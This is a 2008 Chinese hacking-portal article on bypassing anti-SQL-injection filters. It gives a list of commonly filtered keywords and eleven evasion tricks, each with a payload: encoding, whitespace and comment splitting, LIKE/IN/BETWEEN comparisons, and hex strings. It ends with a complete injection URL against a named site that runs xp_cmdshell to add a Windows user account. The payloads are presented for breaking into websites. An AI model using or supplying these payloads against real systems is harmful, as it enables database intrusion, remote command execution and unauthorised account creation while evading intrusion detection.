通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 爱心红客 电信网通铁通移动 在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
注入限制绕过
责任编辑:酷酷の鱼   更新日期:2008-5-7
 

来源:安全中国

突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 

经过我的收集,大部分的防注入程序都过滤了以下关键字: 

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 

而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 

对于关键字的过滤,以下是我收集的以及我个人的一些想法。 

1、运用编码技术绕过 

如URLEncode编码,ASCII编码绕过。例如or 1=1即

%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。


2、通过空格绕过 

如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如

or’ swords’ =‘swords’ 
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 

3、运用字符串判断代替 

用经典的or 1=1判断绕过,如

or ’swords’ =’swords’
,这个方法就是网上在讨论的。 

4、通过类型转换修饰符N绕过 

可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 

5、通过+号拆解字符串绕过 

效果值得考证,但毕竟是一种方法。如 

or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 


6、通过LIKE绕过 

以前怎么就没想到呢?如or 

’swords’ LIKE ’sw’
!!!显然可以很轻松的绕过

“=”“>”
的限制…… 

7、通过IN绕过 

与上面的LIKE的思路差不多,如

or ’swords’ IN (’swords’) 


8、通过BETWEEN绕过 



or ’swords’ BETWEEN ’rw’ AND ’tw’ 


9、通过>或者<绕过 

or ’swords’ > ’sw’ 
or ’swords’ < ’tw’ 
or 1<3 

…… 

10、运用注释语句绕过 

用/**/代替空格,如:

UNION /**/ Select /**/user,pwd,from tbluser 


用/**/分割敏感词,如:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 


11、用HEX绕过,一般的IDS都无法检测出来 

0x730079007300610064006D0069006E00 =hex(sysadmin) 
0x640062005F006F0077006E0065007200 =hex(db_owner) 

另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 

  declare @a sysname 
  select @a= 
  exec master.dbo.xp_cmdshell @a 

效果

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;-- 


其中的 

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是

“net user angel pass /add”
的意思。 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 企业网络组建与维护班正式开课
    普通文章 瑞星公司05月07日发布 每日计算机病毒及木马播报
    普通文章 本周当心“蠕虫”下载器拖累电脑速度
    推荐文章 推荐:黑客谈国内僵尸网络的现状与发展
    普通文章 网游玩家六大绝技彻底防范灰鸽子
    普通文章 用防火墙堵住远程访问VPN安全漏洞
    普通文章 修改破解MYSQL密码方法大全
    普通文章 注入限制绕过
    普通文章 安全策略新角度:细看本地权限之争
    普通文章 网站SQL脚本注入的不常见方法
    热门文章
    普通文章关于双进程Armadillo标准壳的脱法
    普通文章PHP注射基础,经验,技巧三方面汇总篇
    普通文章简单脱壳-Armadillo360标准加壳的记事本程序
    普通文章简单几步,电脑中毒自我救助
    普通文章一招克死所有病毒!上网不用防火墙
    普通文章CNN网站持续被攻 几近瘫痪
    普通文章联合国网站自月初起遭攻击
    普通文章卡巴斯基发关于恶意程序进化最新报告
    普通文章Gartner调研报告显示 安全软件市场同比增长11.2%
    普通文章全球顶级黑客出庭作证 受雇新闻集团制作盗窃软件
    精彩专题